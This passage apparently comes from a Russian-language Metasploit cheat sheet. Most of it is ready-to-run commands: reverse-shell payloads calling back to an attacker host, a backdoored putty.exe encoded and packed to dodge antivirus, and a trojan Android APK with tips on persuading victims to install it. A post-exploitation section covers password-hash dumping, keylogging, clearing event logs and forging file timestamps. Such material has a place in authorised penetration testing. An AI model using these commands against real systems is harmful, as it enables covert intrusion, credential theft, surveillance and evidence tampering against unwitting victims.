sessions - просмотреть открытые соединения MSF; ключ -i n - переключиться на сессию номер n.
Номер созданной сессии, в случае успешной атаки и установки соединения, отображается в выводе команды exploit (см. выше).
Client side attacks
upd. Версии MSF выпущенные после июня 2015 года содержат программу msfvenom заменяющую msfpayload и msfencode
Создание исполняемого файла из payload (англ.). В этом примере, для проникновения используется подброшенный на компьютер атакуемого исполняемый файл. Будучи запущенным на удалённом хосте, он создаст соединение с хостом атакующего (
LHOST=192.168.56.1).
Ключ
X, указанный после порта, говорит о том, что вывод будет осуществлён в exe файл.
msfpayload windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=31337 X > /tmp/1.exe
Backdooring EXE Files. То же самое, однако бекдор дописывается в существующий исполняемый файл (здесь
putty.exe). В этом примере, вместо exe файла msfpayload осуществляет вывод в raw формате (ключ
R), ибо сгенерированная программа будет далее подано на вход
msfencode, который (
-e <используемый кодировщик> -c <число проходов кодировщика>). Исходная программа, однако, будет служить лишь контейнером. Используя ключ
-k можно сохранить работоспособность исходной программы (с некоторой долей вероятности), но и поток в котором будет запущен бэкдор завершится, если пользователь закроет эту программу.
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe -x /var/www/putty.exe -o /var/www/puttyx.exe
Если использовать ключ энкодера -k то, бекдор запустится в отдельном потоке программы
Чтобы использовать msfencoder в конвейере подряд несколько раз необходимо изменить формат вывода программы на
-t raw, везде кроме последнего вызова в конвейере.
upx - программа для упаковки исполняемых файлов. Иногда, упаковав исполняемый файл этой программой, удаётся избежать срабатывания антивируса при его проверке.
Троянский apk для андроид (опция
R).
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.110 LPORT=4444 R > andro.apk
При внедрении apk нужно не только заставить пользователя установить приложение, но и часто убедить в безопасности этих действий. Ведь по умолчанию, андроид не разрешает установку приложений не из play market. Поэтому при устоновке приходится в настройках телефона активировать соответствующую опцию. Последняя, кстати говоря, по умолчанию включается ровно на одну установку.
Приготовления на стороне атакующего. Теперь остаёться запустить msfconsole и приготовится к подключению нашего приложения:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 9999
set LHOST 192.168.56.1
Как только код в подброшеном файле выполнится, произойдёт подключение и будет запущена сессия meterpreter.
Post exploitation
meterpreter
Базовая информация о системе
sysinfo
Computer : QWERTY-PC
OS : Windows XP (Build 2600, Service Pack 2).
Architecture : x86
System Language : ru_RU
Meterpreter : x86/win32
getuid - идентификатор пользователя.
getpid - идентификатор процесса, в пространстве которого запушен сервер
.
run get_env
[*] Getting all System and User Variables
Enviroment Variable list
========================
Name Value
---- -----
APPDATA C:\Documents and Settings\qwerty\Application Data
ComSpec C:\WINDOWS\system32\cmd.exe
FP_NO_HOST_CHECK NO
HOMEDRIVE C:
HOMEPATH \Documents and Settings\qwerty
LOGONSERVER \\QWERTY-PC
NUMBER_OF_PROCESSORS 1
OS Windows_NT
PATHEXT .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE x86
PROCESSOR_IDENTIFIER x86 Family 6 Model 37 Stepping 5, GenuineIntel
PROCESSOR_LEVEL 6
PROCESSOR_REVISION 2505
Path C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
SESSIONNAME Console
TEMP C:\DOCUME~1\qwerty\LOCALS~1\Temp
TMP C:\DOCUME~1\qwerty\LOCALS~1\Temp
windir C:\WINDOWS
ps - список процессов.
ipconfig - информация о сетевых адапетрах.
route - таблица маршрутизации.
run get_application_list - список установленных приложений.
Installed Applications
======================
Name Version
---- -------
7-Zip 9.20
Microsoft .NET Framework 2.0
Microsoft .NET Framework 2.0 2.0.50727
Oracle VM VirtualBox Guest Additions 4.1.2 4.1.2.0
***
background - вернутся в окружение MSF, при этом соединение с удалённым хостом не будет разорвано, обратно -
session -i n.
hashdump - создает вычленяет из реестра (
SAM и SYSTEM фалйы) хэши паролей пользователей системы;
clearev - затирает все следы вашего пребывания на удаленной машине
screenshot
keyscan_start, keyscan_stop, keyscan_dump начать\остановить\просмотреть-лог кейлогер в реальном времени.
Обычно для вышеприведённых команд требуется, сменить процесс (например на explorer.exe) в котором запущен поток meterpeter.
migrate PID - перенести сервер (materpreter) в процесс с указным PID
Изменить время создания и изменения файла и посмотреть что получилось:
timestomp some-file.txt -z "12/25/2025 23:59:00"
meterpreter > timestomp boot.ini -v
Modified : 2025-12-25 23:59:00 +0300
Accessed : 2025-12-25 23:59:00 +0300
Created : 2025-12-25 23:59:00 +0300
Entry Modified: 2025-12-25 23:59:00 +0300
Запустить на исполнение
mdd_1.3.exe с параметрами
-o mem.dd:
execute -f mdd_1.3.exe -a "-o mem.dd"
Запусть консоль windows (H - скрыть процесс, c - создать отдельный канал для взаимодействия):
meterpreter > execute -f cmd.exe -H -c
download <что> <куда> - скачать файл с удалённого хоста
upload
upload AveSatanas.txt c:\\
reg -
взаимодействие с реестром.
scraper,
winemun - эти скрипты (запускаются командой
run) собирают и копируют на машину атакующего информацию о системе в т.ч. реестр (reg файлы), список пользователей, приложений, сервисов, хэши паролей пользователей.
Файлы, содержащие результаты работы этих скриптов, сохраняются по адресу
~/.msf4/logs/scripts/имя_скрипта/.
Файлы созданные winenum
P.S.
если в качестве оболочки используется не meterpreter, а командная строка windows и есть проблемы с кодировкой, можно сменить кодировку на юникод таким образом
chcp 65001
или запустить cmd.exe с параметром
cmd /K chcp 65001
Упорядочивая работу
Для разделения отдельных исследований, отдельных сетей и т.д. удобно пользоваться т.н. workspaces. Каждому рабочему пространству соответсвуют свои таблицы hosts, services, creds, loot.
Просмотреть доступные workspaces:
msf > workspace
lab
vbox-net
* default
Используемое "рабочее пространство" отмечано занком *.
Сменить, добавить, удалить и переименовать workspace соответственно:
workspace lab
workspace -a lab2
workspace -d lab
workspace -r lab.old lab.new
Алсо
- Railgun - расширение meterpreter, позволяющее вызывать функции из DLL.
- C помощью Meterpreter можно сделать проброс портов.
- Также можно использовать машину с запущенным на ней meterpreter'ом для дальнейшего проникновения в сеть (используя локально запущенный msf) уже с сетевого интерфейса это машины - pivoting.
- Resource Scripts - скрипты, содержащие команды meterpreter или msfconsole.
Cсылки
Metasploit Penetration Testing Cookbook - перевод
SecurityTube Metasploit Framework Expert Community Edition [2012]
Offensive security: Metasploit Unleashed
METASPLOIT The Penetration Tester’s Guide by David Kennedy, Jim O’Gorman, Devon Kearns, and Mati Aharoni, 2011
---
Практический пример работы с Metasploit Framework [2011]
Exploit Windows XP SP3 Using Metasploit (msfconsole) [2012]
Create EXE Backdoor Using Metasploit and Backtrack 5 in 4 simple steps [2011]
Другие фреймворки для пентеста
Social-Engineer Toolkit
BeEF - Browser Exploitation Framework